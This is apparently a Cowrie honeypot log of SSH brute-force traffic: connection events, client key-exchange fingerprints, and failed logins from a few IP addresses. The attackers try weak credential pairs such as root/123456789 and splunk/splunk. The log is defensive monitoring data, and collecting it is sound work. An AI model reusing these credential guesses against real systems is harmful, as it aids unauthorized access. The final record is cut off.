{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.740219Z","src_ip":"91.92.42.133","session":"e64287890972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:57.333719Z","src_ip":"91.92.42.133","session":"e64287890972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:57.694020Z","src_ip":"91.92.40.171","session":"8e7ac6368f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:58.983726Z","src_ip":"91.92.42.133","session":"e64287890972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":32856,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4a9592e62e","protocol":"ssh","message":"New connection: 91.92.42.133:32856 (159.203.135.109:22) [session: 2d4a9592e62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:02.766964Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44862,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e7ea90ef43","protocol":"ssh","message":"New connection: 91.92.40.171:44862 (159.203.135.109:22) [session: f1e7ea90ef43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:02.817056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:02.860400Z","src_ip":"91.92.40.171","session":"f1e7ea90ef43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:03.272450Z","src_ip":"91.92.42.133","session":"2d4a9592e62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:03.274605Z","src_ip":"91.92.42.133","session":"2d4a9592e62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:03.446636Z","src_ip":"91.92.40.171","session":"f1e7ea90ef43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:05.955827Z","src_ip":"91.92.42.133","session":"2d4a9592e62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:06.990932Z","src_ip":"91.92.40.171","session":"f1e7ea90ef43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:07.565217Z","src_ip":"91.92.42.133","session":"2d4a9592e62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8e9acf0689","protocol":"ssh","message":"New connection: 91.92.40.171:43682 (159.203.135.109:22) [session: 7d8e9acf0689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:08.363091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:08.495401Z","src_ip":"91.92.40.171","session":"7d8e9acf0689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:08.691826Z","src_ip":"91.92.40.171","session":"f1e7ea90ef43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:09.571130Z","src_ip":"91.92.40.171","session":"7d8e9acf0689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42970,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e400c6c232","protocol":"ssh","message":"New connection: 91.92.42.133:42970 (159.203.135.109:22) [session: 02e400c6c232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:10.792969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:11.134271Z","src_ip":"91.92.42.133","session":"02e400c6c232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:11.186294Z","src_ip":"91.92.42.133","session":"02e400c6c232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:12.359495Z","src_ip":"91.92.42.133","session":"02e400c6c232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43738,"dst_ip":"159.203.135.109","dst_port":22,"session":"4538761d0106","protocol":"ssh","message":"New connection: 91.92.40.171:43738 (159.203.135.109:22) [session: 4538761d0106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:13.001021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:13.051233Z","src_ip":"91.92.40.171","session":"4538761d0106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:13.619837Z","src_ip":"91.92.40.171","session":"4538761d0106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:13.640700Z","src_ip":"91.92.42.133","session":"02e400c6c232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.211971Z","src_ip":"91.92.40.171","session":"7d8e9acf0689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48694,"dst_ip":"159.203.135.109","dst_port":22,"session":"650ca279096f","protocol":"ssh","message":"New connection: 91.92.40.171:48694 (159.203.135.109:22) [session: 650ca279096f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.317919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.332301Z","src_ip":"91.92.40.171","session":"650ca279096f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.445898Z","src_ip":"91.92.40.171","session":"650ca279096f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.807112Z","src_ip":"91.92.40.171","session":"650ca279096f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:17.969515Z","src_ip":"91.92.40.171","session":"4538761d0106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58900,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc063bb36d41","protocol":"ssh","message":"New connection: 91.92.42.133:58900 (159.203.135.109:22) [session: dc063bb36d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:18.241350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:18.687859Z","src_ip":"91.92.42.133","session":"dc063bb36d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:18.690532Z","src_ip":"91.92.42.133","session":"dc063bb36d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:19.156848Z","src_ip":"91.92.40.171","session":"650ca279096f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:19.273625Z","src_ip":"91.92.40.171","session":"7d8e9acf0689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:19.763042Z","src_ip":"91.92.42.133","session":"dc063bb36d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:19.867484Z","src_ip":"91.92.40.171","session":"4538761d0106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35522,"dst_ip":"10.17.0.5","dst_port":22,"session":"fae43382bec7","protocol":"ssh","message":"New connection: 27.71.230.31:35522 (10.17.0.5:22) [session: fae43382bec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:20.477449Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:21.004956Z","src_ip":"91.92.42.133","session":"dc063bb36d41","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:21.191604Z","src_ip":"27.71.230.31","session":"fae43382bec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.